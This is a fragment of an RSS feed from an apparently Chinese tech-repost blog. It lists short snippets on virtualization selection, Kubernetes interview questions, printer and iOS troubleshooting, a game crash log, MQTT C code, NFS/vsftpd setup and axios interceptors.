      <pubDate>Fri, 13 Aug 2021 12:11:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eedb1b8eeb2a0f958bf652c47c753bb6/</guid>
      <description>虚拟化软件选型对比&#xA;第 1 页 共 67 页&#xA;目 录&#xA;一. 服务器虚拟化软件选型3&#xA;1.1 服务器虚拟化技术3&#xA;1.1.1 UNIX 服务器虚拟化技术4&#xA;1.1.2 x86 服务器虚拟化技术 13&#xA;1.2 服务器虚拟化软件整体选型要求20&#xA;1.3 服务器虚拟化软件对比22&#xA;1.3.1 VMware vSphere 22&#xA;1.3.2 Microsoft Hyper-V 32&#xA;1.3.3 Citrix XenServer 36&#xA;1.3.4 RedHat KVM 41&#xA;1.4 选型对比结论43&#xA;1.4.1 x86 服务器虚拟化技术对比分析43&#xA;二. 桌面虚拟化软件选型47&#xA;2.1 桌面虚拟化软件整体选型要求47&#xA;2.2 桌面虚拟化软件对比48&#xA;2.2.1 Citrix XenDesktop 48&#xA;2.2.2 VMware View 53&#xA;2.2.3 Microsoft VDI 58&#xA;2.2.4 RedHat VDI 61&#xA;2.3 选型对比结论65</description>
    </item>
    <item>
      <title>k8s 面试题详解</title>
      <link>https://bchobby.github.io/posts/2e39e89c1b6c19ba9a96e737f34058f2/</link>
      <pubDate>Fri, 13 Aug 2021 10:56:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e39e89c1b6c19ba9a96e737f34058f2/</guid>
      <description>1、监控Docker命令 docker inspect -f {&#34;state&#34;} 2、K8s的组件有哪些 kube-apiserver kube-controller-manager kube-scheduler kube-proxy kubelet Flannel ETCD DNS 3、常用控制器以及特点？ Deployment&#x9;# 部署无状态应用 DaemonSet&#x9;# 每个节点上都部署一个，用于收集、监控日志 StatufluSet&#x9;# 部署有状态应用 4、Service的类型有哪些？&#xA;ClusterIP&#x9;# 向集群内部暴露服务 NodePort&#x9;# 通过宿主主机IP和端口向外部暴露服务 LoadBalancer&#x9;# 通过弹性IP向外部暴露服务 ExtennalName&#x9;# 将外部的一个服务定义一个集群内部的别名 5、Ingress-Nginx的工作原理 根据ingress配置清单，实时生成Nginx配置，并且使其生效，之后通过nginx反向代理转发流量到pod中 6、从ingress到pod的流程 ingress ---&amp;gt; endprints（HeadLess Service） ---&amp;gt; pod 7、控制器、service、ngress管理pod的方式？ 控制器 ---&amp;gt; 通过标签 Service ---&amp;gt; endPoints ingress ---&amp;gt; endpoints 8、主容器的作用 1.提供一个Pod的基础网路命名空间 2.提供共享存储 3.监控业务容器 9、Pod的生命周期 1.调度服务到节点 2.创建Pod 2.创建主容器 3.依次创建业务容器 4.执行开始回调钩子 5.进行健康检查：存活探测、就绪探测 6.执行结束回调钩子 7.一次结束业务容器 8.</description>
    </item>
    <item>
      <title>软交换系统服务器通用吗,软交换呼叫服务器及其可靠性实现</title>
      <link>https://bchobby.github.io/posts/aaf9689d0f4912fce6300d3116fc5254/</link>
      <pubDate>Fri, 13 Aug 2021 10:44:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaf9689d0f4912fce6300d3116fc5254/</guid>
      <description>摘要：&#xA;软交换设备是电路交换网向分组网演进的核心设备,处于下一代网络NGN的控制层,它独立于底层承载协议,主要完成呼叫控制,媒体网关接入控制,资源分配,协议处理,路由,认证,计费等主要功能,并可以向用户提供现有电路交换机所能提供的所有业务以及多样化的第三方业务.而呼叫服务器(Call Server)是软交换网络中的核心控制设备,它完成呼叫处理功能,接入协议适配功能,业务接口功能,互连互通功能,应用支持功能等.呼叫服务器的大容量,集中性决定了它的可靠性是整个软交换系统可靠性的关键. 首先给出了呼叫服务器通用的软件结构,底层是信令协议接入模块,中间层是由呼叫处理模块,媒体网关控制模块和路由与资源管理模块组成的呼叫控制层,上层是业务转接模块.然后在此基础上重点描述了呼叫处理模块设计的基本模型,即ITU-T的Q.1214中提出的基本呼叫状态模型(Basic Call State Model).呼叫处理模块有很多种设计思想,本文提出了两种呼叫处理模块的设计模式,即基于消息驱动的分布式状态机模型和基于事件驱动的集中式状态机模型,并比较了这两种设计的优缺点,特别是后一种设计模式对可靠性的影响. 在给出了呼叫服务器的实现之后,本文给出了可靠性实现的整体构架和各功能描述,其关键是主备板之间的实时数据同步.在此基础上,给出了状态机的实现,数据备份的流程以及各模块共用的底层内存块分配的算法.最后给出了底层内存实例块分配机制的单元测试方法,以及整个呼叫服务器的可靠性的测试方法及性能.&#xA;展开</description>
    </item>
    <item>
      <title>针式怎么修改打印机服务器属性,针式打印机设置,小编教你针式打印机怎么设置纸张大小...</title>
      <link>https://bchobby.github.io/posts/5ac88c05fa8aaf33ea7b2e6996aed384/</link>
      <pubDate>Fri, 13 Aug 2021 09:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ac88c05fa8aaf33ea7b2e6996aed384/</guid>
      <description>在我们使用打印机时，有些纸张不是标准尺寸，我们无法直接选择上。如果要打印纸张的尺寸不是常规的，那针式打印机要怎么才能打印呢？针式打印机和激光打印机是办公室比较常用的，想要这只这类打印机怎么设置打印纸张呢？下面，小编给大家带来了针式打印机设置纸张大小的图文。&#xA;针式打印机是针对有复写功能的联单可以进行打印，这点是喷墨和激光机器无法做到的。所以如果是打印联单的时候还是需要针式打印机。所以针式打印机的功能还是很实用的，但是针式打印机的使用方法和设置方法是不一样的，下面，小编给大家介绍针式打印机设置纸张大小的操作步骤。&#xA;针式打印机怎么设置纸张大小&#xA;点击开始，找到【设备和打印机】点击进入。&#xA;打印机图-1&#xA;选择一个打印机，然后在工具栏下面点击【打印机服务器属性】&#xA;打印机图-2&#xA;在弹出来的界面下首先勾选【创建新表单】----输入表单名称------再在下面输入你要设置的纸张大小宽度和高度--------【保存表单】------【关闭】&#xA;针式打印机图-3&#xA;至此自定义打印纸张大小已经设置好了，现在需要应用到打印机上去。在同一个界面双击一台打印机，在查看正在打印内容的对话框中点击【打印】---【属性】&#xA;设置纸张大小图-4&#xA;针式打印机图-5&#xA;在打印机属性中点击【设备设置】手动进纸可以选择你设置的纸张大小。&#xA;设置纸张大小图-6&#xA;在打印机属性中点击【常规】---【首选项】----【布局】----【高级】出纸/输入中选择你刚刚设置好的纸张大小。&#xA;设置纸张大小图-7&#xA;如果想打印一张你刚设置好的大小的张纸则可以在软件中选择就可以了。如下图所示是在WORD 2013中展示出要打印出来纸大小的预览。&#xA;针式打印机图-8&#xA;以上就是针式打印机设置纸张大小的操作技巧。</description>
    </item>
    <item>
      <title>苹果7设置不显示网络连接服务器,苹果ios7.1验证失败因为您不再连接到互联网解决方法...</title>
      <link>https://bchobby.github.io/posts/e88c898ada4121e6607548d907e45f21/</link>
      <pubDate>Fri, 13 Aug 2021 08:47:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e88c898ada4121e6607548d907e45f21/</guid>
      <description>接下来带给大家的是ios7.1验证失败 因为您不再连接到互联网解决方法，有很多果粉在升级ios7.1的过程中遇到了“ios7.1验证失败，因为您不再连接到互联网”提示，这是为什么?该如何解决呢?&#xA;原因一、网络问题&#xA;首先检查下ios设备网络是否有问题，我们建议大家升级ios7.1的时候，尽量使用Wifi无线网络，因为更新需要下载不少文件，使用手机网络，可能会以为流量不够，导致在验证的时候，因断网导致验证失败。&#xA;另外如果是使用Wifi网络升级的话，出现升级失败，检查Wifi连接以及网络是否有问题，如果没问题的话，可以再次升级，一般都可以解决问题。&#xA;原因二、苹果官方服务器问题&#xA;另外有时候，可能同时升级的用户过多，导致苹果服务器无响应，这种情况也会导致ios7.1验证失败，我们可以稍等一会重试，或者等到造成或者凌晨升级就会很快了。&#xA;一般来说，“ios7.1验证失败,因为您不再连接到互联网”大多是由于网络问题所致，因此解决之道多半是要在网络设置上找的。有许多用户反映使用蜂窝网络更新固件很容易失败，那么换上Wifi是我们要做的第一件事，接下来是解决办法：&#xA;1、Wifi有时会处于假性连接状态，可以先断开再连上;&#xA;2、进入设置 -- 通用 -- 还原 -- 还原网络设置，将网络初始化，然后再更新;&#xA;3、苹果刚放出新版本后会迎来一个下载高峰，我们可以选择零点左右甚至凌晨再来更新ios7.1;&#xA;4、后台运行中的应用有干扰更新进程的可能，建议将其全部关闭再更新。</description>
    </item>
    <item>
      <title>方舟一直显示服务器崩溃,疑问：方舟265更新后进服务器游戏崩溃</title>
      <link>https://bchobby.github.io/posts/a9b12dfb737ae17d4bf2a42b984cdda9/</link>
      <pubDate>Fri, 13 Aug 2021 08:41:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9b12dfb737ae17d4bf2a42b984cdda9/</guid>
      <description>该楼层疑似违规已被系统折叠 隐藏此楼查看此楼&#xA;自从265更新后，我进所有服务器游戏都会崩溃，单机没毛病，一下是错误代码&#xA;LowLevelFatalError [File:G:\SVN_Ark\Engine\Source\Runtime\Engine\Private\NetConnection.cpp] [Line: 508]&#xA;UNetConnection::ValidateSendBuffer: Out.IsError() == true. NumBits: 4060, NumBytes: 508, MaxBits: 4096&#xA;VERSION: 265.11&#xA;KERNELBASE.dll!UnknownFunction (0x00007ffa42ae9e08) + 0 bytes [UnknownFile:0]&#xA;ShooterGame.exe!FError::LowLevelFatal() (0x00007ff77b1f28c6) + 0 bytes [g:\svn_ark\engine\source\runtime\core\private\misc\outputdevice.cpp:354]&#xA;ShooterGame.exe!UNetConnection::ValidateSendBuffer() (0x00007ff77baddd75) + 0 bytes [g:\svn_ark\engine\source\runtime\engine\private\netconnection.cpp:510]&#xA;ShooterGame.exe!UNetConnection::WriteBitsToSendBuffer() (0x00007ff77badf687) + 0 bytes [g:\svn_ark\engine\source\runtime\engine\private\netconnection.cpp:1226]&#xA;ShooterGame.exe!UNetConnection::SendRawBunch() (0x00007ff77badfd2c) + 49 bytes [g:\svn_ark\engine\source\runtime\engine\private\netconnection.cpp:1364]&#xA;ShooterGame.exe!UControlChannel::Tick() (0x00007ff77b992dff) + 0 bytes [g:\svn_ark\engine\source\runtime\engine\private\datachannel.cpp:1213]&#xA;ShooterGame.exe!UNetConnection::Tick() (0x00007ff77bae0b42) + 0 bytes [g:\svn_ark\engine\source\runtime\engine\private\netconnection.cpp:1608]&#xA;ShooterGame.exe!UNetDriver::TickFlush() (0x00007ff77bae248b) + 0 bytes [g:\svn_ark\engine\source\runtime\engine\private\networkdriver.cpp:351]&#xA;ShooterGame.exe!USteamNetDriver::TickFlush() (0x00007ff77c8f4bfe) + 0 bytes [g:\svn_ark\engine\source\runtime\online\onlinesubsystemsteam\private\steamnetdriver.</description>
    </item>
    <item>
      <title>华为服务器扩容内存进不去系统,服务器扩容内存服务方案</title>
      <link>https://bchobby.github.io/posts/d42c984813b6d91dabe5c3f68ac5601a/</link>
      <pubDate>Fri, 13 Aug 2021 07:42:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d42c984813b6d91dabe5c3f68ac5601a/</guid>
      <description>服务器扩容内存服务方案 内容精选&#xA;换一换&#xA;本章节主要介绍ASE节点服务器规格的规划，SAP应用节点规划请参考SAP NetWeaver用户指南。针对不同规模的企业以及应用系统需求，推荐使用华为云如下规格的服务器。小型规模的企业ERP或企业ERP外的其它SAP系统，例如PI、Portal、CRM或SRM系统。推荐开发、测试、生产系统使用ECS弹性云服务器(m3系列)具体如表1所示。&#xA;SAP B1的部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP B1系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：弹性云服务器。租户对SAP B1云服务器的SSH访问需要通过NAT服务器跳&#xA;服务器扩容内存服务方案 相关内容&#xA;本方案中，四川鲲鹏生态创新中心提供鲲鹏硬件资源、适配迁移方案和技术支持，数据库部分由达梦数据库厂家提供技术支持。联合方案主要由TaiShan服务器、Linux操作系统和达梦数据库构建。华为TaiShan服务器在数据库解决方案中具有高可靠性和高稳定性，多核和多内存通道优势。在单实例不能充分利用CPU算力情况下，多实例的部署在TaiShan服&#xA;SAP B1快速部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP B1系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。SAP HANA &amp;amp;SAP B1服务器：弹性云服务器。用于部署SAP HANA数据库和SAP Business One(SAP HANA 版)。服务器上共有&#xA;服务器扩容内存服务方案 更多内容&#xA;在昆仑服务器高可用的场景下可以采用ISCSI盘用作SBD卷作为存储方案，若采用此方案则可以跳过DESS相关步骤。用户也可选择DESS作为存储方案，详细方案请参考方案简介(DESS)。部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，系统中所有节点在一个VPC网络内，且所有节点部署在同一个AZ(Available Zone)。V&#xA;本方案采用DESS作为存储方案。因昆仑服务器仅支持使用DESS提供SBD盘，为了节省成本，在昆仑服务器高可用的场景下用户也可选择ISCSI盘用作SBD卷作为存储方案，详细方案请参考方案简介(ISCSI)。单节点部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，系统中所有节点在一个VPC网络内，且所有节点部署在同一个AZ(Ava&#xA;高性能计算(High-performance computing，HPC)是一个计算机集群系统，它通过各种互联技术将多个计算机系统连接在一起，利用所有被连接系统的综合计算能力来处理大型计算问题，所以又通常被称为高性能计算集群。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;云服务器一般分为弹性云服务器和裸金属服务器，您可以根据实际需要选择规格，并在云服务上部署SAP应用。华为云针对SAP解决方案提供多款SAP认证的弹性云服务器规格，可用于生产系统，如表1所示。华为云针对SAP解决方案提供多款弹性云服务器规格，可用于非生产系统，如表2所示。华为云针对SAP解决方案提供多款规格的裸金属服务器，如表3所示。&#xA;单节点部署无HA(High Available)的方案，如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP HANA系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：租户对SAP HANA节点的SSH访&#xA;集群部署(单NFS Server)部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP HANA系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：租户对SAP HANA节点的SSH访问需要通过NA&#xA;SAP HANA集群部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP HANA系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：租户对SAP HANA节点的SSH访问需要通过NAT服务器跳转。&#xA;单节点部署无HA(High Available)的方案，如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP HANA系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：租户对SAP HANA节点的SSH访&#xA;面向企业市场推出核心数据库上云解决方案，支持企业自行获取核心数据库数据库许可并在华为云平台上进行部署，助力企业数字化转型，为企业云上核心数据库关键业务的高性能、可靠性和安全性提供平台支撑&#xA;来自：解决方案</description>
    </item>
    <item>
      <title>服务器 更改文件上传路径,服务器上传文件的相对路径设置</title>
      <link>https://bchobby.github.io/posts/25577b6fb5fa8df3982df4b05dbadcf6/</link>
      <pubDate>Fri, 13 Aug 2021 07:22:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25577b6fb5fa8df3982df4b05dbadcf6/</guid>
      <description>服务器上传文件的相对路径设置 内容精选&#xA;换一换&#xA;若您的音视频文件存储在华为云OBS桶或本地中，您也可以下载安装批量上传工具，将音视频文件迁移到视频点播中。提供了Windows和Linux两版批量上传工具，您可以根据需要进行下载安装。目前不支持跨区域进行OBS音视频迁移，如“华南-广州”OBS桶中的资源不能转存在点播服务所在的“华北-北京四”桶中。Oracle JDK已安装且版本不低于J&#xA;在Hive自定义函数中需要操作本地文件，例如读取文件的内容，需要如何操作？默认情况下，可以在UDF中用文件的相对路径来操作文件，如下示例代码：在Hive中使用时，将UDF中用到的文件foo.txt上传到HDFS上，如上传到hdfs://hacluster/tmp/foo.txt，使用以下语句创建UDF，在UDF中就可以直接操作foo.tx&#xA;服务器上传文件的相对路径设置 相关内容&#xA;根据技能的模型，创建一个模型实例。HiLens Kit可以使用昇腾310芯片支持的模型来进行推理，使用此方法来构造一个后续用于推理的模型。当返回的对象被析构时，对应的模型资源也被释放。当前支持创建普通模型和加密模型接口调用hilens.Model(filepath)hilens.Model(filepath)参数说明参数说明参数名称是否必&#xA;该接口仅在FwkACLlib组件的安装目录/fwkacllib/include/acl/acl_op_compiler.h头文件中定义。编译指定算子。在编译算子前，可以调用aclSetCompileopt接口设置编译选项。每个算子的输入、输出组织不同，需要应用在调用时严格按照算子输入、输出参数来组织算子。编译动态Shape的算子时，如果S&#xA;服务器上传文件的相对路径设置 更多内容&#xA;该接口仅在FwkACLlib组件的安装目录/fwkacllib/include/acl/acl_op_compiler.h头文件中定义。编译指定算子。在编译算子前，可以调用aclSetCompileopt接口设置编译选项；可以调用aclopSetCompileFlag接口设置编译算子时按模糊编译、还是按精确编译方式。每个算子的输入、输出组&#xA;结构体字节对齐检查就是在需要考虑字节对齐时，检查源码中结构体类型变量的字节对齐检查。已成功登录鲲鹏代码迁移工具。/opt/portadv为工具默认安装目录，下文以此默认路径为例，请根据实际情况替换。/opt/portadv为工具默认安装目录，下文以此默认路径为例，请根据实际情况替换。检查类型选择“结构体字节对齐检查”，如图1所示。用户可在&#xA;该接口仅在FwkACLlib组件的安装目录/fwkacllib/include/acl/acl_op_compiler.h头文件中定义。编译指定算子。在编译算子前，可以调用aclSetCompileopt接口设置编译选项；可以调用aclopSetCompileFlag接口设置编译算子时按模糊编译、还是按精确编译方式。每个算子的输入、输出组&#xA;该接口仅在FwkACLlib组件的安装目录/fwkacllib/include/acl/acl_op_compiler.h头文件中定义。编译指定算子。在编译算子前，可以调用aclSetCompileopt接口设置编译选项；可以调用aclopSetCompileFlag接口设置编译算子时按模糊编译、还是按精确编译方式。每个算子的输入、输出组&#xA;该接口仅在FwkACLlib组件的安装目录/fwkacllib/include/acl/acl_op_compiler.h头文件中定义。编译指定算子。在编译算子前，可以调用aclSetCompileopt接口设置编译选项。每个算子的输入、输出组织不同，需要应用在调用时严格按照算子输入、输出参数来组织算子。编译动态Shape的算子时，如果S&#xA;以昇腾模型压缩工具的安装用户将需要量化的Caffe模型文件和权重文件上传到Linux服务器任意目录下。本章节以sample包中自带的分类网络模型ResNet-50为例进行说明，其中模型文件在执行量化前，需要手动下载。切换到sample/resnet50目录，执行如下命令下载ResNet-50-deploy.prototxt模型文件。pyt&#xA;以昇腾模型压缩工具的安装用户将需要量化的Caffe模型文件和权重文件上传到Linux服务器任意目录下。本章节以sample包中自带的分类网络模型ResNet-50为例进行说明，其中模型文件在执行量化前，需要手动下载。切换到sample/resnet50目录，执行如下命令下载ResNet-50-deploy.prototxt模型文件。pyt&#xA;该接口仅在FwkACLlib组件的安装目录/fwkacllib/include/acl/acl_op_compiler.h头文件中定义。编译指定算子。在编译算子前，可以调用aclSetCompileopt接口设置编译选项；可以调用aclopSetCompileFlag接口设置编译算子时按模糊编译、还是按精确编译方式。每个算子的输入、输出组&#xA;以昇腾模型压缩工具的安装用户将需要量化的Caffe模型文件和权重文件上传到Linux服务器任意目录下。本章节以sample包中自带的分类网络模型ResNet-50为例进行说明，其中模型文件在执行量化前，需要手动下载。切换到sample/resnet50目录，执行如下命令下载ResNet-50-deploy.prototxt模型文件。pyt&#xA;以昇腾模型压缩工具的安装用户将需要量化的Caffe模型文件和权重文件上传到Linux服务器任意目录下。本章节以sample包中自带的分类网络模型ResNet-50为例进行说明，其中模型文件在执行量化前，需要手动下载。切换到sample/resnet50目录，执行如下命令下载ResNet-50-deploy.prototxt模型文件。pyt&#xA;以昇腾模型压缩工具的安装用户将需要量化的Caffe模型文件和权重文件上传到Linux服务器任意目录下。本章节以sample包中自带的分类网络模型ResNet-50为例进行说明，其中模型文件在执行量化前，需要手动下载。切换到sample/resnet50目录，执行如下命令下载ResNet-50-deploy.prototxt模型文件。pyt</description>
    </item>
    <item>
      <title>Linux C的MQTT测试代码编写 - 跨主机的MQTT客户端通信</title>
      <link>https://bchobby.github.io/posts/c1cf2e33823ad3f4d9fb1b29fec5ca42/</link>
      <pubDate>Fri, 13 Aug 2021 06:55:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1cf2e33823ad3f4d9fb1b29fec5ca42/</guid>
      <description>Linux C的MQTT测试代码编写 做完在同一个主机下的MQTT客户端实验后，做亿点点改变，我们使用移植好的MQTT接口在Ubuntu下写一个MQTT的客户端，然后和windows下的MQTT.fx工具通信。&#xA;代码&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &#34;MQTTClient.h&#34; //需要在系统中提前安装好MQTT，可以参考 #define ADDRESS &#34;tcp://192.168.50.81:1883&#34; //根据 MQTT 实际主机地址调整 #define CLIENTID_PUB &#34;ExampleClientPub&#34; #define CLIENTID_SUB &#34;ExampleClientSub&#34; #define QOS 1 #define TIMEOUT 10000L #define PUB_TOPIC &#34;ScratchToSoftWare&#34; #define SUB_TOPIC &#34;SoftWareToScratch&#34; #define NUM_THREADS 2 //线程个数，一个用于发布，一个用于订阅 #define FAN_OFF &#34;{&#39;fan&#39;:false}&#34; //表示风扇关闭的json字符串 #define FAN_ON &#34;{&#39;fan&#39;:true}&#34; //表示风扇打开的json字符串 int fan_state = 0; volatile MQTTClient_deliveryToken deliveredtoken; //传递给MQTTClient_setCallbacks的回调函数，消息发送成功后，调用此回调函数 void delivered(void *context, MQTTClient_deliveryToken dt) { printf(&#34;Message with token value %d delivery confirmed\n&#34;</description>
    </item>
    <item>
      <title>VScode快捷键</title>
      <link>https://bchobby.github.io/posts/c02f107e0d0476863def9b3156774b2e/</link>
      <pubDate>Fri, 13 Aug 2021 05:39:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c02f107e0d0476863def9b3156774b2e/</guid>
      <description>针对windows环境下vscode快捷键的使用</description>
    </item>
    <item>
      <title>万全系列服务器,联想7款万全服务器</title>
      <link>https://bchobby.github.io/posts/c7991eaa4a69b932f9812f5b756ba599/</link>
      <pubDate>Fri, 13 Aug 2021 04:38:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7991eaa4a69b932f9812f5b756ba599/</guid>
      <description>在联想大厦隆重召开了联想万全服务器春季新产品发布会。&#xA;在联想大厦隆重召开了联想万全服务器春季新产品发布会&#xA;[PChome.net北京]在联想大厦隆重召开了联想万全服务器春季新产品发布会。会上，发布了七款服务器新品，分别是联想万全T168&#xA;G2、T220 G5、T270 G5、T350 G5、R350 G5、T630&#xA;G2及B700。同时，还推出了多项自主研发、客户导向的创新技术，其中，最引人注目的三项突破分别是：自动开机故障诊断功能(Doctor&#xA;Inside技术)、智能控温降噪设计、防雷击设计。&#xA;此次发布的七款新品同时覆盖了一路、两路、四路服务器，及刀片式服务器。除了在关键性能上进行了升级，使用户拥有更强大的性能保障外，更重要的，使得技术创新真正能够服务于客户需求。联想服务器建立了专门的用户模型(Usage&#xA;Model)，从了解使用环境到细化规格诉求，从分析使用行为到最终完成需求转化。体现了以用户需求为导向的研发设计理念的变革。&#xA;在发布的七款万全服务器新品中，联想万全T168 G2、万全T220 G5、万全T270 G5成为此次的亮点产品。&#xA;其中，万全T168&#xA;G2服务器就融合了三大技术特性，使用户轻松实现安全、可靠、环保、易用。它是继T168服务器之后的又一代服务器新品，秉承万全T168在业界的领导地位，T168&#xA;G2拥有众多的独一无二的领先技术优势：自动开机故障诊断的”Doctor&#xA;Inside”技术；智能控温降燥系统设计；防雷击系统的高可靠性设计；侧开门热插拔硬盘冗余技术；全电压范围自适应波形过滤的服务器电路设计等等，均在国内外各同类产品中位居领导地位，是名副其实的单路服务器标准引领者。&#xA;万全T220 G5则是联想最新推出的、超值的两路服务器新产品。它采用最新的64位intel Xeon/2M处理器、registered ECC DDR&#xA;II 400内存技术平台，将系统性能提升到一个崭新的高度，也是中小企业客户业务运行的超值平台。&#xA;万全T270 G5是联想最新推出的一款具备主流数据安全特征的两路服务器新产品。除了具备与万全T220&#xA;G5相同的性能提升外，可提供多种数据安全配置选择，与热插拔硬盘相配合，完美保护用户的业务数据，能够为企业的IT投资与业务发展提供最佳的融合点。&#xA;联想集团候任COO刘军在会上表示：服务器作为联想整个信息产品架构的后端产品，是实现未来战略必不可少的产品线，是全球的种子业务。服务器业务与商用PC能够产生很好的协同效应，而IBM&#xA;PCD在全球商用客户领域具有很强的优势，因此，这也使得未来服务器的全球化运作成为可能。服务器不仅是联想非常重视的业务，同时也是联想借助国际化战略，要重点孵化的全球种子业务，因此，我们会不断的发展服务器业务，这也是联想对客户的长期承诺。今年，联想将高性能服务器和PC服务器业务进行了整合，使得服务器业务线获得更强大的阵容，从而打通了产品的前后端，在统一的平台上，一体化运作，更高效地为客户服务。&#xA;我们细数联想万全服务器在2004年的市场成就，技术创新、质量控制和国际合作，无疑是最大亮点。针对当前服务器市场的应用现状、需求特点、技术趋势和竞争格局，2004年联想服务器与存储业务在技术创新、质量控制、细分市场等方面投入了前所未有的力量，在市场布局、团队合作精神等方面都焕然一新，年度业绩更是创下了历史新高。&#xA;面对2005，竞争仍然是中国服务器市场重要的话题。“在激烈的竞争环境中努力寻找更高利润的源泉。”梁军曾用这句话概括出了联想万全服务器在2005年的雄心壮志。质量控制和技术创新在2004年是联想万全服务器与存储部门创收的关键，2005也仍不例外，通过万全这7款产品联想在2005已经拉开与对手核心竞争力的差距。</description>
    </item>
    <item>
      <title>ftp文件nfs共享服务器,NFS服务器和VSFTP服务器的配置 -电脑资料</title>
      <link>https://bchobby.github.io/posts/e15ca81511a67aeed58414ae180de7a6/</link>
      <pubDate>Fri, 13 Aug 2021 04:31:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e15ca81511a67aeed58414ae180de7a6/</guid>
      <description>下面以Ubuntu10.04为例记录一下NFS服务器和VSFTP服务器的配置&#xA;一：NFS服务器的配置和使用&#xA;1 vi /etc/exports打开NFS的配置文件，yy拷贝这样一行 #/srv/homes hostname1(rw,sync,no_subtree_check)，然后粘贴到另外一行，去掉注释#，并将/前面的所有空格全部去掉，否则会错误，&#xA;2 启动服务器的管理命令 service nfs-kernel-server start/stop/restart/reload；其中reload和restart的区别是，reload只是更新conf文件，并不重启服务器，不会中间down掉服务器。而restart的作用是down掉服务器，并重新加载conf文件。&#xA;3 访问NFS服务器的命令 mount 192.168.1.1:/srv/homes /mnt&#xA;另外，showmount -e IP 可以显示特定IP的共享文件，NFS服务器和VSFTP服务器的配置》(https://www.unjs.com)。&#xA;二：VSFTP服务器的配置和使用&#xA;下面讲述的是一个匿名ftp服务器的配置，因为再开发中，匿名服务器被使用的频率是最高的。&#xA;1 对vsftp.conf的配置注意事项&#xA;listen_enable=YES 开启&#xA;anonymous_enable=YES 开启&#xA;write_enable=YES 开启&#xA;anon_umask=022 开启 表示anonymous登陆后创建的文件默认权限是755&#xA;anon_upload_enable=YES 开启&#xA;anon_mkdir_write_enable=YES 开启&#xA;anon_other_write_enable=YES 开启(如果没有，自己添加) 表示可以对文件进行写入操作&#xA;anon_root=/home/ftp 此句属于被添加语句，用来只是vsftp的工作目录是 /home/ftp ，注意 ftp目录权限必须是755，但其内的文件目录可以是任何权限。另外，对于上面的等号，它和前后的单词之间不能有空格，而且YES必须大写。&#xA;2登陆的时候，如果用的是ftp命令，登陆名是anonymous，密码是空；如果用的是lftp登陆，则可以直接登陆。</description>
    </item>
    <item>
      <title>axios判断服务器是否响应,axios 响应拦截器</title>
      <link>https://bchobby.github.io/posts/641fd7b76421bb320aa3bbf6624cf55e/</link>
      <pubDate>Fri, 13 Aug 2021 03:51:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/641fd7b76421bb320aa3bbf6624cf55e/</guid>
      <description>import Vue from &#34;vue&#34;;&#xA;import axios from &#34;axios&#34;;&#xA;import VueAxios from &#34;vue-axios&#34;;&#xA;import { XHD_BASE_URL } from &#34;./constent.js&#34;;// 域名&#xA;import qs from &#39;qs&#39;&#xA;axios.defaults.timeout = 10000;&#xA;// axios.defaults.headers.post[&#34;Content-Type&#34;] = &#34;application/json&#34;;&#xA;axios.defaults.baseURL = BASE_URL;&#xA;// 请求拦截器&#xA;axios.interceptors.request.use(&#xA;function (config) {&#xA;// config.data=qs.stringify(config.data)&#xA;// console.log(&#34;axios.interceptors request&#34;, config);&#xA;return config;&#xA;},&#xA;function (error) {&#xA;// console.log(&#34;axios.interceptors request error&#34;, error);&#xA;return Promise.reject(error);&#xA;}&#xA;);&#xA;//响应拦截器&#xA;axios.interceptors.response.use(&#xA;function (response) {&#xA;// console.log(&#34;axios.interceptors response&#34;, response);</description>
    </item>
    <item>
      <title>刀片式服务器与虚拟机,为什么人们在开发虚拟主机时更喜欢刀片服务器？</title>
      <link>https://bchobby.github.io/posts/41f755aa66b18a2758413b74540d80a0/</link>
      <pubDate>Fri, 13 Aug 2021 02:37:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41f755aa66b18a2758413b74540d80a0/</guid>
